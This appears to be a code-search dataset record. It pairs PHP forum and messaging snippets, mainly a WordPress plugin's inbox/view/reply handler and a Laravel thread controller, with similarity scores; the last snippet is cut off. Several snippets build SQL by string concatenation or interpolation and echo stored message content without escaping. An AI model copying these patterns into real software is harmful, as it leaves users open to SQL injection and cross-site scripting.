$wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\tif ( $tmp_display_name == '' ) {\n\t\t\t\t\t\t\t$tmp_display_name = $tmp_username;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tmp_user_url = messaging_user_primary_blog_url($tmp_message['message_to_user_ID']);\n\t\t\t\t\t\tif ($tmp_user_url == ''){\n\t\t\t\t\t\t\techo \"<td valign='top'>\" . $tmp_display_name . \"</td>\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<td valign='top'><a href='\" . $tmp_user_url . \"'>\" . $tmp_display_name . \"</a></td>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \"<td valign='top'>\" . stripslashes($tmp_message['message_subject']) . \"</td>\";\n\t\t\t\t\t\techo \"<td valign='top'>\" . date_i18n(get_option('date_format') . ' ' . get_option('time_format'),$tmp_message['message_stamp']) . \"</td>\";\n\t\t\t\t\t}\n\t\t\t\t\tif ($tmp_message_count >= $messaging_max_inbox_messages){\n\t\t\t\t\t\techo \"<td valign='top'><a class='edit'>\" . __('View', 'messaging') . \"</a></td>\";\n\t\t\t\t\t\techo \"<td valign='top'><a class='edit'>\" . __('Reply', 'messaging') . \"</a></td>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \"<td valign='top'><a href='admin.php?page=messaging&action=view&mid=\" . $tmp_message['message_ID'] . \"' rel='permalink' class='edit'>\" . __('View', 'messaging') . \"</a></td>\";\n\t\t\t\t\t\techo \"<td valign='top'><a href='admin.php?page=messaging&action=reply&mid=\" . $tmp_message['message_ID'] . \"' rel='permalink' class='edit'>\" . __('Reply', 'messaging') . \"</a></td>\";\n\t\t\t\t\t}\n\t\t\t\t\techo \"<td valign='top'><a href='admin.php?page=messaging&action=remove&mid=\" . $tmp_message['message_ID'] . \"' rel='permalink' class='delete'>\" . __('Remove', 'messaging') . \"</a></td>\";\n\t\t\t\t\techo \"</tr>\";\n\t\t\t\t\t$class = ('alternate' == $class) ? '' : 'alternate';\n\t\t\t\t\t//=========================================================//\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t?>\n\t\t\t\t</tbody></table>\n\t\t\t\t<?php\n\t\t\t\t}\n\t\t\t}\n\t\tbreak;\n\t\t//---------------------------------------------------//\n\t\tcase \"view\":\n\t\t\t$tmp_total_message_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->base_prefix . \"messages WHERE message_to_user_ID = %d\", $user_ID));\n\t\t\t$tmp_message_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d AND message_to_user_ID = %d\", $_GET['mid'], $user_ID));\n\t\t\tif ($tmp_message_count > 0){\n\t\t\t\tif ($tmp_total_message_count >= $messaging_max_inbox_messages){\n\t\t\t\t\t?>\n\t\t\t\t\t<p><strong><center><?php _e($messaging_max_reached_message, 'messaging') ?></center></strong></p>\n\t\t\t\t\t<?php\n\t\t\t\t\t} else {\n\t\t\t\t\tmessaging_update_message_status(intval($_GET['mid']),'read');\n\t\t\t\t\t$tmp_message_subject = stripslashes($wpdb->get_var($wpdb->prepare(\"SELECT message_subject FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid'])));\n\t\t\t\t\t$tmp_message_content = stripslashes($wpdb->get_var($wpdb->prepare(\"SELECT message_content FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid'])));\n\t\t\t\t\t$tmp_message_from_user_ID = $wpdb->get_var($wpdb->prepare(\"SELECT message_from_user_ID FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid']));\n\t\t\t\t\t$tmp_username = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message_from_user_ID));\n\t\t\t\t\t$tmp_message_status = $wpdb->get_var($wpdb->prepare(\"SELECT message_status FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid']));\n\t\t\t\t\t$tmp_message_status = ucfirst($tmp_message_status);\n\t\t\t\t\t$tmp_message_status = __($tmp_message_status, 'messaging');\n\t\t\t\t\t$tmp_message_stamp = $wpdb->get_var($wpdb->prepare(\"SELECT message_stamp FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid']));\n\t\t\t\t\t?>\n\n\t\t\t\t\t<h2><?php _e('View Message: ', 'messaging') ?><?php echo intval($_GET['mid']); ?></h2>\n\t\t\t\t\t<form name=\"new_message\" method=\"POST\" action=\"admin.php?page=messaging\">\n\t\t\t\t\t<input type=\"hidden\" name=\"mid\" value=\"<?php echo intval($_GET['mid']); ?>\" />\n\t\t\t\t\t<h3><?php _e('Sent', 'messaging') ?></h3>\n\t\t\t\t\t<p><?php echo date_i18n(get_option('date_format') . ' ' . get_option('time_format'),$tmp_message_stamp); ?></p>\n\t\t\t\t\t<h3><?php _e('Status', 'messaging') ?></h3>\n\t\t\t\t\t<p><?php echo $tmp_message_status; ?></p>\n\t\t\t\t\t<h3><?php _e('From', 'messaging') ?></h3>\n\t\t\t\t\t<p><?php echo $tmp_username; ?></p>\n\t\t\t\t\t<h3><?php _e('Subject', 'messaging') ?></h3>\n\t\t\t\t\t<p><?php echo $tmp_message_subject; ?></p>\n\t\t\t\t\t<h3><?php _e('Content', 'messaging') ?></h3>\n\t\t\t\t\t<p><?php echo $tmp_message_content; ?></p>\n <p class=\"submit\">\n\t\t\t\t\t<input class=\"button button-secondary\" type=\"submit\" name=\"Submit\" value=\"<?php _e('Back', 'messaging') ?>\" />\n\t\t\t\t\t<input class=\"button button-secondary\" type=\"submit\" name=\"Remove\" value=\"<?php _e('Remove', 'messaging') ?>\" />\n\t\t\t\t\t<input class=\"button button-primary\" type=\"submit\" name=\"Reply\" value=\"<?php _e('Reply', 'messaging') ?>\" />\n </p>\n\t\t\t\t\t</form>\n\t\t\t\t\t<?php\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t?>\n <p><?php _e('You do not have permission to view this message', 'messaging') ?></p>\n <?php\n\t\t\t}\n\t\tbreak;\n\t\t//---------------------------------------------------//\n\t\tcase \"remove\":\n\t\t\t//messaging_update_message_status($_GET['mid'],'removed');\n\t\t\tmessaging_remove_message(intval($_GET['mid']));\n\t\t\techo \"\n\t\t\t<SCRIPT LANGUAGE='JavaScript'>\n\t\t\twindow.location='admin.php?page=messaging&updated=true&updatedmsg=\" . urlencode('Message removed.') . \"';\n\t\t\t</script>\n\t\t\t\";\n\t\tbreak;\n\t\t//---------------------------------------------------//\n\t\tcase \"reply\":\n\t\t\t$tmp_message_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d AND message_to_user_ID = %d\", $_GET['mid'], $user_ID));\n\t\t\tif ($tmp_message_count > 0){\n\t\t\t$tmp_message_from_user_ID = $wpdb->get_var($wpdb->prepare(\"SELECT message_from_user_ID FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid']));\n\t\t\t$tmp_username = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message_from_user_ID));\n\t\t\t$tmp_message_subject = stripslashes($wpdb->get_var($wpdb->prepare(\"SELECT message_subject FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid'])));\n\t\t\t$tmp_message_subject = __('RE: ', 'messaging') . $tmp_message_subject;\n\t\t\t$tmp_message_content = stripslashes($wpdb->get_var($wpdb->prepare(\"SELECT message_content FROM \" . $wpdb->base_prefix . \"messages WHERE message_ID = %d\", $_GET['mid'])));\n\t\t\t//$tmp_message_content = \"\\n\\n\" . $tmp_username . __(' wrote:') . '<hr>' . $tmp_message_content;\n\n\t\t\t$rows = get_option('default_post_edit_rows');\n if (($rows < 3) || ($rows > 100)){\n $rows = 12;\n\t\t\t}\n $rows = \"rows='$rows'\";\n\n if ( user_can_richedit() ){\n add_filter('the_editor_content', 'wp_richedit_pre');\n\t\t\t}\n\t\t\t//\t$the_editor_content = apply_filters('the_editor_content', $content);\n ?>\n\t\t\t<h2><?php _e('Send Reply', 'messaging') ?></h2>\n\t\t\t<form name=\"reply_to_message\" method=\"POST\" action=\"admin.php?page=messaging&action=reply_process\">\n <input type=\"hidden\" name=\"message_to\" value=\"<?php echo $tmp_username; ?>\" class=\"messaging-suggest-user ui-autocomplete-input\" autocomplete=\"off\" />\n <input type=\"hidden\" name=\"message_subject\" value=\"<?php echo $tmp_message_subject; ?>\" />\n <table class=\"form-table\">\n <tr valign=\"top\">\n <th scope=\"row\"><?php _e('To', 'messaging') ?></th>\n <td><input disabled=\"disabled\" type=\"text\" name=\"message_to\" id=\"message_to_disabled\" style=\"width: 95%\" maxlength=\"200\" value=\"<?php echo $tmp_username; ?>\" />\n <br />\n <?php //_e('Required - seperate multiple usernames by commas Ex: demouser1,demouser2') ?></td>\n </tr>\n <tr valign=\"top\">\n <th scope=\"row\"><?php _e('Subject', 'messaging') ?></th>\n <td><input disabled=\"disabled\" type=\"text\" name=\"message_subject\" id=\"message_subject_disabled\" style=\"width: 95%\" maxlength=\"200\" value=\"<?php echo $tmp_message_subject; ?>\" />\n <br />\n <?php //_e('Required') ?></td>\n </tr>\n <tr valign=\"top\">\n <th scope=\"row\"><?php echo $tmp_username . __(' wrote', 'messaging'); ?></th>\n <td><?php echo $tmp_message_content; ?>\n <br />\n <?php _e('Required', 'messaging') ?></td>\n </tr>\n <tr valign=\"top\">\n <th scope=\"row\"><?php _e('Content', 'messaging') ?></th>\n <td>\n\t\t\t<?php if (version_compare($wp_version, \"3.3\") >= 0 && user_can_richedit()) { ?>\n\t\t\t\t<?php wp_editor('', 'message_content'); ?>\n\t\t\t<?php } else { ?>\n\t\t\t\t<textarea <?php if ( user_can_richedit() ){ echo \"class='mceEditor'\"; } ?> <?php echo $rows; ?> style=\"width: 95%\" name='message_content' tabindex='1' id='message_content'></textarea>\n\t\t\t<?php } ?>\n\n\t\t<br />\n <?php _e('Required', 'messaging') ?></td>\n </tr>\n </table>\n <p class=\"submit\">\n <input class=\"button button-primary\" type=\"submit\" name=\"Submit\" value=\"<?php _e('Send', 'messaging') ?>\" />\n </p>\n </form> <?php\n\t\t\t} else {\n\t\t\t?>\n\t\t\t<p><?php _e('You do not have permission to view this message', 'messaging') ?></p>\n\t\t\t<?php\n\t\t\t}\n\t\tbreak;\n\t\t//---------------------------------------------------//\n\t\tcase \"reply_process\":\n\t\t\tif ($_POST['message_to'] == '' || $_POST['message_subject'] == '' || $_POST['message_content'] == ''){\n\t\t\t\t$rows = get_option('default_post_edit_rows');\n\t\t\t\tif (($rows < 3) || ($rows > 100)){\n\t\t\t\t\t$rows = 12;\n\t\t\t\t}\n\t\t\t\t$rows = \"rows='$rows'\";\n\n\t\t\t\tif ( user_can_richedit() ){\n\t\t\t\t\tadd_filter('the_editor_content', 'wp_richedit_pre');\n\t\t\t\t}\n\t\t\t\t//\t$the_editor_content = apply_filters('the_editor_content', $content);\n\t\t\t\t?>\n\t\t\t\t<h2><?php _e('Send Reply', 'messaging') ?></h2>\n <p><?php _e('Please fill in all required fields', 'messaging') ?></p>\n\t\t\t\t<form name=\"reply_to_message\" method=\"POST\" action=\"admin.php?page=messaging&action=reply_process\">\n <input type=\"hidden\" name=\"message_to\" value=\"<?php echo sanitize_text_field($_POST['message_to']); ?>\" />\n <input type=\"hidden\" name=\"message_subject\" value=\"<?php echo stripslashes(sanitize_text_field($_POST['message_subject'])); ?>\" />\n\t\t\t\t\t<table class=\"form-table\">\n\t\t\t\t\t<tr valign=\"top\">\n\t\t\t\t\t<th scope=\"row\"><?php _e('To', 'messaging') ?></th>\n\t\t\t\t\t<td><input disabled=\"disabled\" type=\"text\" name=\"message_to\" id=\"message_to_disabled\"\n\t\t\t\t\t\tclass=\"messaging-suggest-user ui-autocomplete-input\" autocomplete=\"off\"\n\t\t\t\t\t\tstyle=\"width: 95%\" maxlength=\"200\"\n\t\t\t\t\t\tvalue=\"<?php echo sanitize_text_field($_POST['message_to']); ?>\" />\n\t\t\t\t\t<br />\n\t\t\t\t\t<?php //_e('Required - seperate multiple usernames by commas Ex: demouser1,demouser2') ?></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr valign=\"top\">\n\t\t\t\t\t<th scope=\"row\"><?php _e('Subject', 'messaging') ?></th>\n\t\t\t\t\t<td><input disabled=\"disabled\" type=\"text\" name=\"message_subject\" id=\"message_subject_disabled\" style=\"width: 95%\" maxlength=\"200\" value=\"<?php echo stripslashes(sanitize_text_field($_POST['message_subject'])); ?>\" />\n\t\t\t\t\t<br />\n\t\t\t\t\t<?php //_e('Required') ?></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr valign=\"top\">\n\t\t\t\t\t<th scope=\"row\"><?php _e('Content', 'messaging') ?></th>\n\t\t\t\t\t<td><textarea <?php if ( user_can_richedit() ){ echo \"class='mceEditor'\"; } ?> <?php echo $rows; ?> style=\"width: 95%\" name='message_content' tabindex='1' id='message_content'><?php echo wp_kses_post($_POST['message_content']); ?></textarea>\n\t\t\t\t\t<br />\n\t\t\t\t\t<?php _e('Required', 'messaging') ?></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n <p class=\"submit\">\n <input class=\"button button-primary\" type=\"submit\" name=\"Submit\" value=\"<?php _e('Send', 'messaging') ?>\" />\n </p>\n\t\t\t\t</form>\n\t\t<?php\n\t\t\t\t\tif ( user_can_richedit() ){\n\t\t\t\t\t\twp_print_scripts( array( 'wpdialogs-popup' ) );\n\t\t\t\t\t\twp_print_styles('wp-jquery-ui-dialog');\n\n\t\t\t\t\t\trequire_once ABSPATH . 'wp-admin/includes/template.php';\n\t\t\t\t\t\trequire_once ABSPATH . 'wp-admin/includes/internal-linking.php';\n\t\t\t\t\t\t?><div style=\"display:none;\"><?php wp_link_dialog(); ?></div><?php\n\t\t\t\t\t\twp_print_scripts('wplink');\n\t\t\t\t\t\twp_print_styles('wplink');\n\t\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t//==========================================================//\n\t\t\t\t$tmp_usernames = sanitize_text_field($_POST['message_to']);\n\t\t\t\t//$tmp_usernames = str_replace( \",\", ', ', $tmp_usernames );\n\t\t\t\t//$tmp_usernames = ',,' . $tmp_usernames . ',,';\n\t\t\t\t//$tmp_usernames = str_replace( \" \", '', $tmp_usernames );\n\t\t\t\t$tmp_usernames_array = explode(\",\", $tmp_usernames);\n\t\t\t\t$tmp_usernames_array = array_unique($tmp_usernames_array);\n\n\t\t\t\t$tmp_username_error = 0;\n\t\t\t\t$tmp_error_usernames = '';\n\t\t\t\t$tmp_to_all_uids = '|';\n\n\t\t\t\tforeach ($tmp_usernames_array as $tmp_username){\n\t\t\t\t\t$tmp_username = trim($tmp_username);\n\t\t\t\t\tif ($tmp_username != ''){\n\t\t\t\t\t\t$tmp_username_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->users . \" WHERE user_login = %s\", $tmp_username));\n\t\t\t\t\t\tif ($tmp_username_count > 0){\n\t\t\t\t\t\t\t$tmp_user_id = $wpdb->get_var($wpdb->prepare(\"SELECT ID FROM \" . $wpdb->users . \" WHERE user_login = %s\", $tmp_username));\n\t\t\t\t\t\t\t$tmp_to_all_uids = $tmp_to_all_uids . $tmp_user_id . '|';\n\t\t\t\t\t\t\t//found\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$tmp_username_error = $tmp_username_error + 1;\n\t\t\t\t\t\t\t$tmp_error_usernames = $tmp_error_usernames . $tmp_username . ', ';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$tmp_error_usernames = trim($tmp_error_usernames, \", \");\n\t\t\t\t//==========================================================//\n\t\t\t\tif ($tmp_username_error > 0){\n\t\t\t\t\t$rows = get_option('default_post_edit_rows');\n\t\t\t\t\tif (($rows < 3) || ($rows > 100)){\n\t\t\t\t\t\t$rows = 12;\n\t\t\t\t\t}\n\t\t\t\t\t$rows = \"rows='$rows'\";\n\t\t\t\t\t?>\n\t\t\t\t\t<h2><?php _e('Send Reply', 'messaging') ?></h2>\n\t\t\t\t\t<p><?php _e('The following usernames could not be found in the system', 'messaging') ?> <em><?php echo $tmp_error_usernames; ?></em></p>\n <form name=\"new_message\" method=\"POST\" action=\"admin.php?page=messaging&action=reply_process\">\n <input type=\"hidden\" name=\"message_to\" value=\"<?php echo sanitize_text_field($_POST['message_to']); ?>\" />\n <input type=\"hidden\" name=\"message_subject\" value=\"<?php echo stripslashes(sanitize_text_field($_POST['message_subject'])); ?>\" />\n <table class=\"form-table\">\n <tr valign=\"top\">\n <th scope=\"row\"><?php _e('To', 'messaging') ?></th>\n <td><input disabled=\"disabled\" type=\"text\" name=\"message_to\" id=\"message_to_disabled\"\n \tclass=\"messaging-suggest-user ui-autocomplete-input\" autocomplete=\"off\"\n \tstyle=\"width: 95%\" tabindex='1' maxlength=\"200\"\n \tvalue=\"<?php echo sanitize_text_field($_POST['message_to']); ?>\" />\n <br />\n <?php //_e('Required - seperate multiple usernames by commas Ex: demouser1,demouser2') ?></td>\n </tr>\n <tr valign=\"top\">\n <th scope=\"row\"><?php _e('Subject', 'messaging') ?></th>\n <td><input disabled=\"disabled\" type=\"text\" name=\"message_subject\" id=\"message_subject_disabled\" style=\"width: 95%\" tabindex='2' maxlength=\"200\" value=\"<?php echo stripslashes(sanitize_text_field($_POST['message_subject'])); ?>\" />\n <br />\n <?php //_e('Required') ?></td>\n </tr>\n <tr valign=\"top\">\n <th scope=\"row\"><?php _e('Content', 'messaging') ?></th>\n <td><textarea <?php if ( user_can_richedit() ){ echo \"class='mceEditor'\"; } ?> <?php echo $rows; ?> style=\"width: 95%\" name='message_content' tabindex='3' id='message_content'><?php echo wp_kses_post($_POST['message_content']); ?></textarea>\n\t\t\t<br />\n <?php _e('Required', 'messaging') ?></td>\n </tr>\n </table>\n <p class=\"submit\">\n <input class=\"button button-primary\" type=\"submit\" name=\"Submit\" value=\"<?php _e('Send', 'messaging') ?>\" />\n </p>\n </form>\n\t\t <?php\n\t\t\t\t\tif ( user_can_richedit() ){\n\t\t\t\t\t\twp_print_scripts( array( 'wpdialogs-popup' ) );\n\t\t\t\t\t\twp_print_styles('wp-jquery-ui-dialog');\n\n\t\t\t\t\t\trequire_once ABSPATH . 'wp-admin/includes/template.php';\n\t\t\t\t\t\trequire_once ABSPATH . 'wp-admin/includes/internal-linking.php';\n\t\t\t\t\t\t?><div style=\"display:none;\"><?php wp_link_dialog(); ?></div><?php\n\t\t\t\t\t\twp_print_scripts('wplink');\n\t\t\t\t\t\twp_print_styles('wplink');\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t//everything checked out - send the messages\n\t\t\t\t\t?>\n\t\t\t\t\t<p><?php _e('Sending message(s)...', 'messaging') ?></p>\n <?php\n\t\t\t\t\tforeach ($tmp_usernames_array as $tmp_username){\n\t\t\t\t\t\tif ($tmp_username != ''){\n\t\t\t\t\t\t\t$tmp_to_uid = $wpdb->get_var($wpdb->prepare(\"SELECT ID FROM \" . $wpdb->users . \" WHERE user_login = %s\", $tmp_username));\n\t\t\t\t\t\t\tmessaging_insert_message($tmp_to_uid,$tmp_to_all_uids,$user_ID, stripslashes(sanitize_text_field($_POST['message_subject'])), wp_kses_post($_POST['message_content']), 'unread', 0);\n\t\t\t\t\t\t\tmessaging_new_message_notification($tmp_to_uid,$user_ID, stripslashes(sanitize_text_field($_POST['message_subject'])), wp_kses_post($_POST['message_content']));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tmessaging_insert_sent_message($tmp_to_all_uids,$user_ID, sanitize_text_field($_POST['message_subject']),wp_kses_post($_POST['message_content']),0);\n\t\t\t\t\techo \"\n\t\t\t\t\t<SCRIPT LANGUAGE='JavaScript'>\n\t\t\t\t\twindow.location='admin.php?page=messaging&updated=true&updatedmsg=\" . urlencode('Reply Sent.') . \"';\n\t\t\t\t\t</script>\n\t\t\t\t\t\";\n\t\t\t\t}\n\t\t\t}\n\t\tbreak;\n\t\t//---------------------------------------------------//\n\t\tcase \"test\":\n\t\tbreak;\n\t\t//---------------------------------------------------//\n\t}\n\techo '</div>';\n}",
"function get_thread_list($forum_id, $limit = 25, $start = 0) {\n return $this->call('get_thread_list', array('forum_id' => $forum_id, 'limit' => $limit, 'start' => 0));\n }",
"public function threads(){\n return $this->belongsToMany('App\\Thread');\n }",
"function displayMessages()\n {\n global $db;\n $query = $db->query(\" SELECT * FROM messages\n WHERE messages.s = 'ilyes ouakouak' AND messages.r = 'IlyBot'\n \");\n\n $results = [];\n while ($result = $query->fetch()) {\n $results[] = $result;\n }\n\n return $results;\n }",
"public function show($id)\n {\n $thread = Thread::find($id);\n return view ('threads.show')-> with ('thread', $thread);\n }",
"public static function checkVisibilityAll($threadIDs, $reason = '') {\n\t\tif (empty($threadIDs)) return;\n\t\t\n\t\t$emptyThreads = '';\n\t\t$trashedThreads = '';\n\t\t$hiddenThreads = '';\n\t\t$enabledThreads = '';\n\t\t$restoresThreads = '';\n\t\t$sql = \"SELECT\t\tCOUNT(post.postID) AS posts,\n\t\t\t\t\tSUM(post.isDeleted) AS deletedPosts,\n\t\t\t\t\tSUM(post.isDisabled) AS hiddenPosts,\n\t\t\t\t\tthread.threadID, thread.isDeleted, thread.isDisabled\n\t\t\tFROM \t\twbb\".WBB_N.\"_thread thread\n\t\t\tLEFT JOIN \twbb\".WBB_N.\"_post post\n\t\t\tON \t\t(post.threadID = thread.threadID)\n\t\t\tWHERE \t\tthread.threadID IN (\".$threadIDs.\")\n\t\t\tGROUP BY \tthread.threadID\";\n\t\t$result = WCF::getDB()->sendQuery($sql);\n\t\twhile ($row = WCF::getDB()->fetchArray($result)) {\n\t\t\t$row['deletedPosts'] = intval($row['deletedPosts']);\n\t\t\t$row['hiddenPosts'] = intval($row['hiddenPosts']);\n\t\t\t\n\t\t\t// thread has no posts\n\t\t\t// delete thread\n\t\t\tif ($row['posts'] == 0) {\n\t\t\t\tif (!empty($emptyThreads)) $emptyThreads .= ',';\n\t\t\t\t$emptyThreads .= $row['threadID'];\n\t\t\t}\n\t\t\t\n\t\t\t// all posts of this thread are into the recylce bin\n\t\t\t// move thread also into the recylce bin \n\t\t\telse if ($row['posts'] == $row['deletedPosts']) {\n\t\t\t\tif (!empty($trashedThreads)) $trashedThreads .= ',';\n\t\t\t\t$trashedThreads .= $row['threadID'];\n\t\t\t}\n\t\t\t\n\t\t\t// all posts of this thread are hidden\n\t\t\t// hide thread also\n\t\t\telse if ($row['posts'] == $row['hiddenPosts'] || $row['posts'] == $row['hiddenPosts'] + $row['deletedPosts']) {\n\t\t\t\tif (!empty($hiddenThreads)) $hiddenThreads .= ',';\n\t\t\t\t$hiddenThreads .= $row['threadID'];\n\t\t\t}\n\t\t\t\n\t\t\t// thread is deleted, but no posts are deleted\n\t\t\t// restore thread\n\t\t\telse if (intval($row['deletedPosts']) == 0 && $row['isDeleted'] == 1) {\n\t\t\t\tif (!empty($restoresThreads)) $restoresThreads .= ',';\n\t\t\t\t$restoresThreads .= $row['threadID'];\n\t\t\t}\n\t\t\t\n\t\t\t// thread is hidden, but no posts are hidden\n\t\t\t// enable thread\n\t\t\telse if (intval($row['hiddenPosts']) == 0 && $row['isDisabled'] == 1) {\n\t\t\t\tif (!empty($enabledThreads)) $enabledThreads .= ',';\n\t\t\t\t$enabledThreads .= $row['threadID'];\n\t\t\t}\n\t\t}\n\t\t\n\t\tself::deleteAllCompletely($emptyThreads, false, false);\n\t\tself::trashAll($trashedThreads, false, $reason);\n\t\tself::disableAll($hiddenThreads, false);\n\t\tself::restoreAll($restoresThreads, false);\n\t\tself::enableAll($enabledThreads, false);\n\t}",
"public function getAllTopThreads() {\r\n\t\t$filteredList = array();\r\n\t\tforeach ($this->threads as $thread) {\r\n\t\t\tif ($thread -> getTopTopic() == -1) {\r\n\t\t\t\tarray_push($filteredList, $thread);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $filteredList;\r\n\t}",
"public function testMessageThreadsV2GetMessages()\n {\n }",
"public function authenticated_user_may_participate_in_forum_threads()\n {\n \t// Given we have an authenticated user.\n \t$user = factory('App\\User')->create();\n \t$this->be($user);\n \t// Given we have a thread.\n \t$thread = factory('App\\Thread')->create();\n \t// Given we have a reply.\n \t$reply = factory('App\\Reply')->make();\n \t// The user submits a reply.\n \t// $this->post('threads/'.$thread->id.'/replies', $reply->toArray()); also works\n \t$this->post($thread->path().'/replies', $reply->toArray());\n \t$this->get($thread->path())->assertSee($reply->body);\n }",
"public function run()\r\n\t{\r\n $this->render('MessageDisplay');\r\n\t}",
"public function index()\n {\n \t$unreadMessages = Message::where('addressee', Auth::user()->id)->where('status', 0)->get();\n \t$unreadMessages->each(function ($message) {\n \t\t$message->status = 1;\n\n \t\t$message->save();\n \t});\n\n \t//Get all parent messages\n \t$messages = Message::where('addressee', Auth::user()->id)\n \t\t\t\t\t\t\t->where('parent_id', 0)\n \t\t\t\t\t\t\t->where('status', 1)\n ->with(['senders.recruiter.companyContact.companies'])\n \t\t\t\t\t\t\t->orderBy('created_at', 'DESC')\n \t\t\t\t\t\t\t->get();\n\n \treturn view('front.candidate.dashboard.message.index', ['messages' => $messages]);\n }",
"public function show_messages($conv_id)\n {\n $user_id = Auth::user()->id;\n\n // Messages\n $messages = DB::table('messages')\n ->join('conversations', 'messages.conversation_id', '=', 'conversations.id')\n ->join('users', 'messages.user_id_from', '=', 'users.id')\n ->where('conversations.id', '=', $conv_id)\n ->where(\n DB::raw('(\n CASE WHEN \n messages.user_id_from = ' . $user_id . ' \n THEN \n messages.user_from_deleted = 1 \n ELSE \n messages.user_to_deleted = 1 \n END\n )'))\n ->select('messages.*', 'conversations.*','conversations.participant_1 AS user_from', 'conversations.participant_2 AS user_to', 'users.*')\n ->get();\n\n // Unreaded messages\n $unreaded_messages = self::unreaded_messages($conv_id);\n \n //Loop through unreaded messages, and set it to readed \n foreach($unreaded_messages as $message)\n {\n $message = Message::find($message->id);\n $message->readed = 1;\n $message->save();\n }\n \n return view('messages/messages')->with([\n 'messages' => $messages\n ]);\n }",
"function loadMessages($thread_id)\n\t\t{\n\t\t\t$query=sqlite_query($this->connection, \"SELECT user_id, message, date FROM message WHERE thread_id='$thread_id' ORDER BY message_id ASC\");\n\t\t\twhile ($row = sqlite_fetch_array($query))\n\t\t\t{\n\t\t\t\t$row[0]=$this->loadUser($row[0]);\n\t\t\t}\n\t\t\treturn $row;\n\t\t}",
"public function rebuildAllThreads($visible)\n\t{\n\t\t$back = '';\n\t\t$news_table = GDO::table('GWF_News');\n\t\t$result = $news_table->select('*');\n\t\twhile (false !== ($news = $news_table->fetch($result, GDO::ARRAY_O)))\n\t\t{\n\t\t\t$back .= $this->newsToForum($news, $visible);\n\t\t}\n\t\t$news_table->free($result);\n\t\treturn $back;\n\t}",
"function messages()\r\n {\r\n $db =& eZDB::globalDatabase();\r\n\r\n $db->array_query( $message_array, \"SELECT ID, PostingTime FROM\r\n eZForum_Message\r\n WHERE ForumID='$this->ID' AND IsTemporary='0'\r\n ORDER BY PostingTime DESC\" );\r\n\r\n $ret = array();\r\n\r\n foreach ( $message_array as $message )\r\n {\r\n $ret[] = new eZForumMessage( $message[$db->fieldName( \"ID\" )] );\r\n }\r\n\r\n return $ret;\r\n }"
]
| [
"0.6840854",
"0.6744267",
"0.672003",
"0.6648542",
"0.6517573",
"0.6374835",
"0.6348572",
"0.63421404",
"0.62671524",
"0.6234372",
"0.620377",
"0.6130086",
"0.60758215",
"0.60749185",
"0.60140646",
"0.60102457",
"0.5998767",
"0.58930683",
"0.5891401",
"0.5874457",
"0.5853306",
"0.58042866",
"0.5798323",
"0.5774204",
"0.5772071",
"0.5759614",
"0.5742749",
"0.5732134",
"0.5718857",
"0.5713635",
"0.570878",
"0.5706954",
"0.57064617",
"0.5695923",
"0.5690427",
"0.56898785",
"0.568404",
"0.5683755",
"0.5679992",
"0.56713516",
"0.5665505",
"0.5664497",
"0.5664497",
"0.5664497",
"0.5652314",
"0.5634461",
"0.56265104",
"0.5621151",
"0.5598778",
"0.55958927",
"0.55939144",
"0.5585956",
"0.55743164",
"0.5568219",
"0.5566661",
"0.5565572",
"0.55594164",
"0.55457664",
"0.5534325",
"0.5528088",
"0.55163723",
"0.5510701",
"0.54897386",
"0.5474931",
"0.547392",
"0.5457836",
"0.54425216",
"0.5430922",
"0.5427932",
"0.54226536",
"0.5414935",
"0.54121196",
"0.5411148",
"0.54006624",
"0.5400301",
"0.5399331",
"0.5398163",
"0.5395231",
"0.5394073",
"0.53857625",
"0.53806764",
"0.5379518",
"0.5378003",
"0.53774065",
"0.53714836",
"0.5362031",
"0.53522295",
"0.5350921",
"0.53467476",
"0.5337274",
"0.5337224",
"0.5326044",
"0.5317573",
"0.5315443",
"0.53127617",
"0.5312635",
"0.53023654",
"0.5294293",
"0.52850837",
"0.52775526"
]
| 0.6044151 | 14 |
Shows a message thread | public function show($id)
{
$fileDownloadUrl = null;
$toSmeNiwas = 'SMENiwas';
try {
$userId = Auth::getUser()->id;
$msg = Participant::where('id', '=', $id)->get()->first();
$thread = Thread::where('id', '=', $msg->thread_id)->get()->first();
} catch (ModelNotFoundException $e) {
Session::flash('error_message', 'The thread with ID: ' . $id . ' was not found.');
return redirect('messages');
}
$users = User::where('id', $msg->from_user_id)->get();
$count = Participant::forUserWithNewMessages($userId)->count();
if ($msg->user_id == $userId) {
